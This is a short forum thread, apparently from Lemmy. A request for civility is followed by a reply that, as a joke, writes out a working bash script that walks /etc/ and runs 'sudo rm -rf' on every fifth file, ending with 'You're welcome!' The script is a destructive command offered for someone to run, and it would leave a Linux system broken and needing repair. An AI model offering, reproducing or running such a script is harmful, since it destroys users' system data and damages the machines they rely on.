Speaking of the last posts, lets keep it civil guys.

  • NegativeLookBehind@lemmy.world
    link
    fedilink
    English
    arrow-up
    1
    ·
    edit-2
    10 days ago

    Write a script to delete every 5th file under /etc/.

    EDIT: did it for you

    #!/bin/bash
    
    count=0
    
    for file in $(find /etc/ -type f); do
      (( count+=1 )) 
      if (( $count % 5 == 0 )); then
        sudo rm -rf $file
      fi
    done
    

    And now you have lots of stuff to fix and configure. You’re welcome!